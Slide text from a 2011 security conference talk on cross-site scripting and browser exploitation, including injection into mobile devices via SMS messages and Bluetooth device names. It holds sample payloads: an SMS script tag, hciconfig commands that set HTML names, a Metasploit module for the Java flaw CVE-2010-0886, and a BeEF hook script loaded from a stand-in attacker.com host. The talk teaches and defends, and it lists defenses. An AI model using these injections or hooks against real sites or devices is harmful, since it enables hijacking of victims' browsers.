  • 12. Global (or URL-based) non- persistent XSS (2) •  Global: All web application resources (URLs) are vulnerable to XSS –  Not a specific HTTP parameter –  Better for: •  Obfuscation (long URLs) •  Social engineering •  More damaging attacks (e.g. web login page) •  Defenses: input validation and output encoding on everything (including the URL) Copyright © 2011 Taddong S.L. www.taddong.com 12
  • 13. Multi-technology WCI (≈XSS) on Mobile Devices Copyright © 2011 Taddong S.L. www.taddong.com 13
  • 14. XSS Everywhere •  XSS: the input is reflected on the output –  Immediately or “somewhere in time” •  Any input is a potential vulnerable candidate, as well as any output •  Web content injection (≈XSS) through multiple technologies on mobile devices –  SMS and Bluetooth What about… Wi-Fi, 2G/3G, etc? (network name) Copyright © 2011 Taddong S.L. www.taddong.com 14
  • 15. SMS •  Initially discovered on Palm WebOS –  Open web sites, download files, install new root CA certs, turn off radio, or wipe device •  Extended to Windows Mobile & HTC –  Web-based SMS preview capabilities on HTC Windows Mobile smart-phones (scripting) •  http://www.securityfocus.com/archive/1/510897/30/ •  Defenses: Disable preview or update http://intrepidusgroup.com/insight/webos/ Copyright © 2011 Taddong S.L. www.taddong.com 15
  • 16. SMS on Windows Mobile 6.5 From: 666123666 To: 6001234567 Mensaje (SMS): <script>alert ('Ejecucion de Javascript')</ script> Copyright © 2011 Taddong S.L. www.taddong.com 16
  • 17. Bluetooth •  Discovered on Windows Mobile 6.1 –  Native web-based GUI notification subsystem •  Bluetooth pairing and profile access –  Bluetooth authorization message (<=32 chars) –  Only HTML (no scripting): Blueline attacks •  Defenses: Customized notification subsystem (vendor based) http://www.hackingexposedwireless.com Copyright © 2011 Taddong S.L. www.taddong.com 17
  • 18. Bluetooth on Windows Mobile 6.1 # hciconfig hci0 name "<b>Ordenador</b> no peligro<i>so</i>" # hciconfig hci0 name "Mantener Bluetooth activo?<br><p" Copyright © 2011 Taddong S.L. www.taddong.com 18
  • 19. Root Cause of the Problem •  Web contents everywhere (or converted to) •  Information displayed (GUI) via a web- based engine (HTML, JavaScript & more) Databases Web-App Copyright © 2011 Taddong S.L. www.taddong.com 19
  • 20. Near Future Vulnerable Inputs •  Camera: Barcode or QR code reader, etc •  Microphone: HTML-based audio transcript Copyright © 2011 Taddong S.L. www.taddong.com 20
  • 21. Browser Exploitation through XSS Copyright © 2011 Taddong S.L. www.taddong.com 21
  • 22. Demonstrating XSS •  Most common example:  –  Quick for XSS discovery but… <script>alert(‘XSS’)</script> How to contribute to change this general perception? Copyright © 2011 Taddong S.L. www.taddong.com 22
  • 23. Live Demo Copyright © 2011 Taddong S.L. www.taddong.com 23
  • 24. Exploiting Java CVE-2010-0886 •  All vulnerability details are on previous episodes –  Java 6 Update (10 =< x <= 19) •  “Do you know Rubén Santamarta?”  •  Exploit requirements: –  Metasploit running as root (sudo) –  SMB not running on pen-tester system –  WebClient (WebDAV Mini-Redirector) running on target (by default) –  WEBDAV requires SRVPORT=80 and URIPATH=/ (BeEF is running there!! Use != IP addresses) exploit/windows/browser/java_ws_arginject_altjvm Copyright © 2011 Taddong S.L. www.taddong.com 24
  • 25. BeEF Exploitation •  This is the only script the attacker needs to inject in the target web application: (PHP) <script src="http://www.attacker.com/ beef/hook/beefmagic.js"></script> •  Metasploit integration •  Persistent hooking (100% iframe) –  URL limitation (& favicon) – Yori Kvitchko –  Not in some mobile devices… Copyright © 2011 Taddong S.L. www.taddong.com 25
  • 26. Persistent Hooking in Mobile Devices through URL hiding •  URL hiding or addr. bar replacement •  UI spoofing Safari on the iPhone –  JavaScript pushes real address bar up •  Android too http://evil-lemur.com/mobile/ http://software-security.sans.org/blog/2010/11/29/ui- spoofing-safari-iphone Copyright © 2011 Taddong S.L. www.taddong.com 26
  • 27. References •  Presentations in the Browser Exploitation for Fun & Profit Series: http://blog.taddong.com •  Samurai WTF (Web Testing Framework): –  http://sourceforge.net/projects/samurai/ •  BeEF –  http://www.bindshell.net/tools/beef/ –  https://code.google.com/p/beef/ •  MetaSploit Framework (MSF): (autopwn) –  http://www.metasploit.com –  http://www.metasploit.com/framework/modules/ Copyright © 2011 Taddong S.L. www.taddong.com 27
  • 28. Questions?  Copyright © 2011 Taddong S.L. www.taddong.com 28